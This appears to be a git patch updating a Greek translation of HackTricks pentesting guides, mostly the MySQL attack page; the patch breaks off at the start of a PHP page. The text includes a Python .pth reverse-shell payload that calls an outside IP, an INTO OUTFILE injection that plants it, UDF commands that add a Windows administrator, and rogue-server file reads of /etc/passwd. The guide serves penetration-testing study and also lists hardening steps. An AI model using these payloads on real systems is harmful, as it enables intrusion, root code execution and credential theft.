From e216252d9622a508c18dd1cfbd82f489b0cea3a4 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 19:13:13 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/content-security-policy-csp-bypass/R --- .../pentesting-mysql.md | 157 ++++---- ...object-creation-new-usd_get-a-usd_get-b.md | 72 ++-- .../README.md | 376 +++++++++--------- src/pentesting-web/file-inclusion/README.md | 285 ++++++------- .../file-inclusion/lfi2rce-via-php-filters.md | 44 +- src/pentesting-web/file-upload/README.md | 201 +++++----- 6 files changed, 599 insertions(+), 536 deletions(-) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index c233f63ad..d515ab814 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,7 +4,7 @@ ## **Βασικές Πληροφορίες** -**MySQL** μπορεί να περιγραφεί ως ένα ανοιχτού κώδικα **Σύστημα Διαχείρισης Σχεσιακών Βάσεων Δεδομένων (RDBMS)** που είναι διαθέσιμο χωρίς κόστος. Λειτουργεί με τη **Γλώσσα Δομημένων Ερωτημάτων (SQL)**, επιτρέποντας τη διαχείριση και την επεξεργασία βάσεων δεδομένων. +**MySQL** μπορεί να περιγραφεί ως ανοιχτού κώδικα **Relational Database Management System (RDBMS)** που είναι διαθέσιμο χωρίς κόστος. Λειτουργεί με τη **Structured Query Language (SQL)**, επιτρέποντας τη διαχείριση και τον χειρισμό βάσεων δεδομένων. **Προεπιλεγμένη θύρα:** 3306 ``` @@ -12,7 +12,7 @@ ``` ## **Σύνδεση** -### **Τοπικά** +### **Τοπική** ```bash mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) @@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone) mysql -h -u root mysql -h -u root@localhost ``` -## Εξωτερική Αρίθμηση +## Εξωτερική Enumeration -Ορισμένες από τις ενέργειες αρίθμησης απαιτούν έγκυρα διαπιστευτήρια +Μερικές από τις ενέργειες enumeration απαιτούν έγκυρα διαπιστευτήρια ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -41,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` -## **Εντολές MySQL** +## **MySQL εντολές** ```bash show databases; use ; @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### Απαρίθμηση Δικαιωμάτων MySQL +### MySQL Απαρίθμηση Δικαιωμάτων ```sql #Mysql SHOW GRANTS [FOR user]; @@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` -Μπορείτε να δείτε στα έγγραφα τη σημασία κάθε προνομίου: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) +Μπορείτε να δείτε στα docs τη σημασία κάθε privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) ### MySQL File RCE @@ -110,60 +110,57 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Python `.pth` RCE (ειδικές ρυθμίσεις ιστότοπου) +#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks) -Καταχρώντας την κλασική πρωτοβουλία `INTO OUTFILE`, είναι δυνατόν να αποκτηθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που εκτελούν αργότερα **Python** σενάρια. +Καταχρώμενοι το κλασικό `INTO OUTFILE` primitive, είναι δυνατό να επιτευχθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που στη συνέχεια τρέχουν **Python** scripts. -1. Χρησιμοποιήστε `INTO OUTFILE` για να ρίξετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιονδήποτε φάκελο φορτώνεται αυτόματα από το `site.py` (π.χ. `.../lib/python3.10/site-packages/`). -2. Το αρχείο `.pth` μπορεί να περιέχει μια *μοναδική γραμμή* που ξεκινά με `import ` ακολουθούμενη από αυθαίρετο Python κώδικα που θα εκτελείται κάθε φορά που ξεκινά ο διερμηνέας. -3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (FortiWeb το εκτέλεσε ως **root** → πλήρης προ-auth RCE). +1. Χρησιμοποιήστε `INTO OUTFILE` για να αποθέσετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιοδήποτε directory που φορτώνεται αυτόματα από `site.py` (π.χ. `.../lib/python3.10/site-packages/`). +2. Το `.pth` αρχείο μπορεί να περιέχει *μία μόνο γραμμή* που ξεκινάει με `import ` ακολουθούμενη από αυθαίρετο Python κώδικα, ο οποίος θα εκτελείται κάθε φορά που ξεκινά ο interpreter. +3. Όταν ο interpreter εκτελείται έμμεσα από ένα CGI script (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια με τη διεργασία του web-server (FortiWeb το έτρεξε ως **root** → full pre-auth RCE). -Παράδειγμα payload `.pth` (μοναδική γραμμή, δεν μπορούν να περιληφθούν κενά στο τελικό SQL payload, οπότε μπορεί να απαιτείται hex/`UNHEX()` ή συγχώνευση συμβολοσειρών): +Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Παράδειγμα δημιουργίας του αρχείου μέσω ενός **UNION** ερωτήματος (οι χαρακτήρες κενών αντικαθίστανται με `/**/` για να παρακαμφθεί ένα φίλτρο χώρου `sscanf("%128s")` και να διατηρηθεί το συνολικό μήκος ≤128 bytes): +Παράδειγμα κατασκευής του αρχείου μέσω ενός ερωτήματος **UNION** (οι χαρακτήρες διαστήματος αντικαθίστανται με `/**/` για να παρακαμφθεί ένα φίλτρο διαστήματος `sscanf("%128s")` και να διατηρηθεί το συνολικό μήκος ≤128 bytes): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` Σημαντικοί περιορισμοί & παρακάμψεις: * `INTO OUTFILE` **δεν μπορεί να αντικαταστήσει** υπάρχοντα αρχεία; επιλέξτε ένα νέο όνομα αρχείου. -* Η διαδρομή του αρχείου επιλύεται **σχετικά με το CWD του MySQL**, οπότε η προσθήκη `../../` βοηθά στη συντόμευση της διαδρομής και στην παράκαμψη περιορισμών απόλυτης διαδρομής. -* Εάν η είσοδος του επιτιθέμενου εξάγεται με `%128s` (ή παρόμοιο), οποιοσδήποτε χώρος θα κόψει το payload; χρησιμοποιήστε τις ακολουθίες σχολίων MySQL `/**/` ή `/*!*/` για να αντικαταστήσετε τους χώρους. -* Ο χρήστης MySQL που εκτελεί το ερώτημα χρειάζεται το δικαίωμα `FILE`, αλλά σε πολλές συσκευές (π.χ. FortiWeb) η υπηρεσία εκτελείται ως **root**, δίνοντας δικαίωμα εγγραφής σχεδόν παντού. +* Το μονοπάτι αρχείου επιλύεται **relative to MySQL’s CWD**, οπότε το προθέμα `../../` βοηθά να συντομευτεί το μονοπάτι και να παρακαμφθούν οι περιορισμοί απόλυτης διαδρομής. +* Αν η είσοδος του attacker εξάγεται με `%128s` (ή παρόμοιο), οποιοδήποτε κενό θα αποκόψει το payload; χρησιμοποιήστε τις ακολουθίες σχολίων MySQL `/**/` ή `/*!*/` για να αντικαταστήσετε τα κενά. +* Ο χρήστης MySQL που εκτελεί το query χρειάζεται το προνόμιο `FILE`, αλλά σε πολλές συσκευές (π.χ. FortiWeb) η υπηρεσία τρέχει ως **root**, δίνοντας δικαίωμα εγγραφής σχεδόν παντού. -Αφού ρίξετε το `.pth`, απλά ζητήστε οποιοδήποτε CGI διαχειρίζεται ο διερμηνέας python για να αποκτήσετε εκτέλεση κώδικα: +After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -Η διαδικασία Python θα εισάγει αυτόματα το κακόβουλο `.pth` και θα εκτελέσει το shell payload. +Η διεργασία Python θα import αυτόματα το κακόβουλο `.pth` και θα εκτελέσει το shell payload. ``` # Attacker $ nc -lvnp 4444 id uid=0(root) gid=0(root) groups=0(root) ``` ---- +## MySQL αυθαίρετη ανάγνωση αρχείου από τον client -## MySQL αυθαίρετη ανάγνωση αρχείου από πελάτη - -Στην πραγματικότητα, όταν προσπαθείτε να **φορτώσετε δεδομένα τοπικά σε έναν πίνακα** το **περιεχόμενο ενός αρχείου** ο διακομιστής MySQL ή MariaDB ζητά από τον **πελάτη να το διαβάσει** και να στείλει το περιεχόμενο. **Έτσι, αν μπορείτε να παραποιήσετε έναν πελάτη mysql για να συνδεθείτε στον δικό σας διακομιστή MySQL, μπορείτε να διαβάσετε αυθαίρετα αρχεία.**\ -Παρακαλώ σημειώστε ότι αυτή είναι η συμπεριφορά που χρησιμοποιείται: +Στην πραγματικότητα, όταν προσπαθείς να **load data local into a table** το **content of a file**, ο διακομιστής MySQL ή MariaDB ζητάει από τον **client to read it** και να στείλει το περιεχόμενο. **Τότε, αν μπορείς να tamper a mysql client to connect to your own MySQL server, μπορείς να διαβάσεις αυθαίρετα αρχεία.**\ +Σημείωσε ότι αυτή είναι η συμπεριφορά όταν χρησιμοποιείται: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Προσοχή στη λέξη "local")\ -Επειδή χωρίς το "local" μπορείς να πάρεις: +(Σημειώστε τη λέξη "local")\ Επειδή χωρίς τη "local" μπορείτε να λάβετε: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **Αρχικό PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**Σε αυτό το έγγραφο μπορείτε να δείτε μια πλήρη περιγραφή της επίθεσης και ακόμη και πώς να την επεκτείνετε σε RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ -**Εδώ μπορείτε να βρείτε μια επισκόπηση της επίθεσης:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) +**Σε αυτό το έγγραφο μπορείτε να δείτε μια πλήρη περιγραφή της επίθεσης και ακόμη πώς να την επεκτείνετε σε RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**Εδώ θα βρείτε μια επισκόπηση της επίθεσης:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -171,25 +168,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ## POST -### Χρήστης Mysql +### Mysql Χρήστης -Θα είναι πολύ ενδιαφέρον αν το mysql εκτελείται ως **root**: +Θα είναι πολύ ενδιαφέρον αν το mysql τρέχει ως **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` #### Επικίνδυνες Ρυθμίσεις του mysqld.cnf -Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για να καθορίσουν τη λειτουργία και τα μέτρα ασφαλείας της: +Στην ρύθμιση των υπηρεσιών MySQL, χρησιμοποιούνται διάφορες ρυθμίσεις για τον ορισμό της λειτουργίας και των μέτρων ασφαλείας της: -- Η **`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL. -- Η **`password`** εφαρμόζεται για την καθορισμένη του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL. -- Η **`admin_address`** προσδιορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική διεπαφή δικτύου. -- Η **`debug`** μεταβλητή υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής. -- Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής. -- Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας. +- Η ρύθμιση **`user`** χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL. +- Η ρύθμιση **`password`** χρησιμοποιείται για τον καθορισμό του κωδικού πρόσβασης του χρήστη MySQL. +- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική δικτυακή διεπαφή. +- Η μεταβλητή **`debug`** υποδηλώνει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβάνοντας ευαίσθητες πληροφορίες στα logs. +- Η **`sql_warnings`** ρυθμίζει εάν παράγονται πληροφοριακές συμβολοσειρές για εντολές INSERT μίας γραμμής όταν προκύπτουν warnings, που μπορεί να περιέχουν ευαίσθητα δεδομένα στα logs. +- Με την **`secure_file_priv`**, το εύρος των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την αύξηση της ασφάλειας. -### Ανάβαση προνομίων +### Privilege escalation ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -209,16 +206,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql. +Εάν ο **mysql server is running as root** (ή ένας άλλος χρήστης με περισσότερα προνόμια) μπορείς να τον κάνεις να εκτελεί εντολές. Για αυτό χρειάζεται να χρησιμοποιήσεις **user defined functions**. Και για να δημιουργήσεις μια user defined θα χρειαστείς μια **βιβλιοθήκη** για το OS που τρέχει το mysql. -The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need. +Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσεις μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit τρέχοντας **`locate "*lib_mysqludf_sys*"`**. Τα αρχεία **`.so`** είναι βιβλιοθήκες **linux** και τα **`.dll`** είναι των **Windows**, διάλεξε αυτό που χρειάζεσαι. -If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**: +Αν **δεν έχεις** αυτές τις βιβλιοθήκες, μπορείς είτε να τις **αναζητήσεις**, είτε να κατεβάσεις αυτό το [**linux C code**](https://www.exploit-db.com/exploits/1518) και να το **μεταγλωττίσεις μέσα στην linux ευάλωτη μηχανή**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Τώρα που έχετε τη βιβλιοθήκη, συνδεθείτε στο Mysql ως προνομιούχος χρήστης (root;) και ακολουθήστε τα επόμενα βήματα: +Τώρα που έχεις τη βιβλιοθήκη, κάνε login στο Mysql ως privileged user (root?) και ακολούθησε τα επόμενα βήματα: #### Linux ```sql @@ -252,29 +249,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` +#### Συμβουλή για Windows: δημιουργία καταλόγων με NTFS ADS από SQL + +Σε NTFS μπορείτε να εξαναγκάσετε τη δημιουργία καταλόγων χρησιμοποιώντας ένα alternate data stream ακόμα κι όταν υπάρχει μόνο file write primitive. Αν η κλασική UDF chain περιμένει έναν κατάλογο `plugin` αλλά δεν υπάρχει και το `@@plugin_dir` είναι άγνωστο ή κλειδωμένο, μπορείτε να τον δημιουργήσετε πρώτα με `::$INDEX_ALLOCATION`: +```sql +SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; +-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory +``` +Αυτό μετατρέπει το περιορισμένο `SELECT ... INTO OUTFILE` σε ένα πιο πλήρες primitive σε Windows stacks, μέσω bootstrapping της δομής φακέλων που απαιτείται για UDF drops. + ### Εξαγωγή διαπιστευτηρίων MySQL από αρχεία Μέσα στο _/etc/mysql/debian.cnf_ μπορείτε να βρείτε τον **κωδικό πρόσβασης σε απλό κείμενο** του χρήστη **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` -Μπορείτε **να χρησιμοποιήσετε αυτά τα διαπιστευτήρια για να συνδεθείτε στη βάση δεδομένων mysql**. +Μπορείτε να **χρησιμοποιήσετε αυτά τα credentials για να συνδεθείτε στη βάση δεδομένων mysql**. -Μέσα στο αρχείο: _/var/lib/mysql/mysql/user.MYD_ μπορείτε να βρείτε **όλους τους κατακερματισμούς των χρηστών MySQL** (αυτούς που μπορείτε να εξάγετε από mysql.user μέσα στη βάση δεδομένων)_._ +Μέσα στο αρχείο: _/var/lib/mysql/mysql/user.MYD_ μπορείτε να βρείτε **όλα τα hashes των MySQL χρηστών** (αυτά που μπορείτε να εξαγάγετε από mysql.user μέσα στη βάση δεδομένων)_._ -Μπορείτε να τους εξάγετε κάνοντας: +Μπορείτε να τα εξαγάγετε κάνοντας: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` ### Ενεργοποίηση καταγραφής -Μπορείτε να ενεργοποιήσετε την καταγραφή των ερωτημάτων mysql μέσα στο `/etc/mysql/my.cnf` αποσχολώντας τις παρακάτω γραμμές: +Μπορείτε να ενεργοποιήσετε την καταγραφή των mysql queries μέσα στο `/etc/mysql/my.cnf` αποσχολιάζοντας τις παρακάτω γραμμές: ![](<../images/image (899).png>) ### Χρήσιμα αρχεία -Αρχεία Ρυθμίσεων +Αρχεία ρυθμίσεων - windows \* - config.ini @@ -289,9 +295,9 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Ιστορικό Εντολών +- Ιστορικό εντολών - \~/.mysql.history -- Αρχεία Καταγραφής +- Αρχεία καταγραφής - connections.log - update.log - common.log @@ -647,36 +653,36 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## 2023-2025 Highlights (new) +## 2023-2025 Επισημάνσεις (νέο) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971) -Από το Connector/J <= 8.0.32, ένας επιτιθέμενος που μπορεί να επηρεάσει το **JDBC URL** (για παράδειγμα σε λογισμικό τρίτων που ζητάει μια συμβολοσειρά σύνδεσης) μπορεί να ζητήσει την φόρτωση αυθαίρετων κλάσεων στην πλευρά του *client* μέσω της παραμέτρου `propertiesTransform`. Εάν μια συσκευή που είναι παρούσα στο class-path είναι φορτίσιμη, αυτό έχει ως αποτέλεσμα **εκτέλεση απομακρυσμένου κώδικα στο πλαίσιο του JDBC client** (προ-auth, επειδή δεν απαιτούνται έγκυρα διαπιστευτήρια). Ένα ελάχιστο PoC φαίνεται ως εξής: +Από το Connector/J <= 8.0.32, ένας επιτιθέμενος που μπορεί να επηρεάσει το **JDBC URL** (π.χ. σε τρίτου μέρους λογισμικό που ζητάει ένα connection string) μπορεί να αιτηθεί τη φόρτωση αυθαίρετων κλάσεων στην πλευρά του *client* μέσω της παραμέτρου `propertiesTransform`. Αν ένα gadget που υπάρχει στο class-path είναι φορτώσιμο, αυτό έχει ως αποτέλεσμα **remote code execution in the context of the JDBC client** (pre-auth, επειδή δεν απαιτούνται valid credentials). Ένα minimal PoC φαίνεται ως εξής: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Η εκτέλεση του `Evil.class` μπορεί να είναι τόσο εύκολη όσο η παραγωγή του στο class-path της ευάλωτης εφαρμογής ή η αφήγηση ενός κακόβουλου MySQL server να στείλει ένα κακόβουλο σειριακό αντικείμενο. Το ζήτημα διορθώθηκε στην Connector/J 8.0.33 – αναβαθμίστε τον οδηγό ή ορίστε ρητά το `propertiesTransform` σε μια λίστα επιτρεπόμενων. -(Δείτε την αναφορά του Snyk για λεπτομέρειες) +Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set `propertiesTransform` on an allow-list. +(See Snyk write-up for details) -### Επιθέσεις από κακόβουλους / ψεύτικους MySQL servers κατά των JDBC πελατών -Διάφορα εργαλεία ανοιχτού κώδικα υλοποιούν ένα *μερικό* πρωτόκολλο MySQL προκειμένου να επιτεθούν σε JDBC πελάτες που συνδέονται προς τα έξω: +### Rogue / Fake MySQL server attacks against JDBC clients +Πολλά εργαλεία ανοιχτού κώδικα υλοποιούν ένα *μερικό* MySQL πρωτόκολλο για να επιτεθούν σε JDBC clients που συνδέονται προς τα έξω: -* **mysql-fake-server** (Java, υποστηρίζει εκμεταλλεύσεις ανάγνωσης αρχείων και αποσειριοποίησης) -* **rogue_mysql_server** (Python, παρόμοιες δυνατότητες) +* **mysql-fake-server** (Java, supports file read and deserialization exploits) +* **rogue_mysql_server** (Python, similar capabilities) -Τυπικές διαδρομές επίθεσης: +Τυπικά μονοπάτια επίθεσης: -1. Η εφαρμογή-θύμα φορτώνει το `mysql-connector-j` με `allowLoadLocalInfile=true` ή `autoDeserialize=true`. -2. Ο επιτιθέμενος ελέγχει την DNS / καταχώρηση host έτσι ώστε το όνομα του DB να επιλύεται σε μια μηχανή υπό τον έλεγχό του. -3. Ο κακόβουλος server απαντά με κατασκευασμένα πακέτα που ενεργοποιούν είτε την ανάγνωση αρχείων `LOCAL INFILE` είτε την αποσειριοποίηση Java → RCE. +1. Η εφαρμογή-θύμα φορτώνει `mysql-connector-j` με `allowLoadLocalInfile=true` ή `autoDeserialize=true`. +2. Ο επιτιθέμενος ελέγχει DNS / host entry έτσι ώστε το hostname της DB να επιλύεται σε μια μηχανή υπό τον έλεγχό του. +3. Ο κακόβουλος server απαντά με crafted packets που ενεργοποιούν είτε `LOCAL INFILE` arbitrary file read είτε Java deserialization → RCE. -Παράδειγμα one-liner για να ξεκινήσετε έναν ψεύτικο server (Java): +Παράδειγμα one-liner για εκκίνηση ενός fake server (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -Στη συνέχεια, κατευθύνετε την εφαρμογή-στόχο στο `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` και διαβάστε το `/etc/passwd` κωδικοποιώντας το όνομα αρχείου ως base64 στο πεδίο *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). +Στη συνέχεια κατευθύνετε την εφαρμογή-θύμα στο `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` και διαβάστε `/etc/passwd` κωδικοποιώντας το όνομα αρχείου σε base64 στο *username* πεδίο (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). -### Σπάσιμο κατακερματισμών `caching_sha2_password` -MySQL ≥ 8.0 αποθηκεύει τους κατακερματισμούς κωδικών πρόσβασης ως **`$mysql-sha2$`** (SHA-256). Και το Hashcat (λειτουργία **21100**) και το John-the-Ripper (`--format=mysql-sha2`) υποστηρίζουν εκτός σύνδεσης σπάσιμο από το 2023. Εξάγετε τη στήλη `authentication_string` και τροφοδοτήστε την απευθείας: +### Cracking `caching_sha2_password` hashes +MySQL ≥ 8.0 αποθηκεύει τα password hashes ως **`$mysql-sha2$`** (SHA-256). Και οι Hashcat (mode **21100**) και John-the-Ripper (`--format=mysql-sha2`) υποστηρίζουν offline cracking από το 2023. Εξάγετε τη στήλη `authentication_string` και τροφοδοτήστε την απευθείας: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -686,19 +692,22 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` ### Λίστα ελέγχου σκληροποίησης (2025) -• Ρυθμίστε **`LOCAL_INFILE=0`** και **`--secure-file-priv=/var/empty`** για να καταργήσετε τις περισσότερες πρωτογενείς λειτουργίες ανάγνωσης/εγγραφής αρχείων. -• Αφαιρέστε το δικαίωμα **`FILE`** από τους λογαριασμούς εφαρμογών. -• Στο Connector/J ρυθμίστε `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (κενό). -• Απενεργοποιήστε τα μη χρησιμοποιούμενα πρόσθετα πιστοποίησης και **απαιτήστε TLS** (`require_secure_transport = ON`). -• Παρακολουθήστε για δηλώσεις `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` και ξαφνικές δηλώσεις `SET GLOBAL`. +• Ορίστε **`LOCAL_INFILE=0`** και **`--secure-file-priv=/var/empty`** για να απενεργοποιήσετε τις περισσότερες λειτουργίες ανάγνωσης/εγγραφής αρχείων. +• Αφαιρέστε το **`FILE`** privilege από λογαριασμούς εφαρμογών. +• Στον Connector/J ορίστε `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (κενό). +• Απενεργοποιήστε μη χρησιμοποιούμενα authentication plugins και **απαιτήστε TLS** (`require_secure_transport = ON`). +• Παρακολουθείτε για `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` και αιφνίδιες εντολές `SET GLOBAL`. --- ## Αναφορές -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) -- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) -- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) +- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + + +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 5e2dc65b8..0f61a3621 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,16 +1,16 @@ -# PHP - RCE 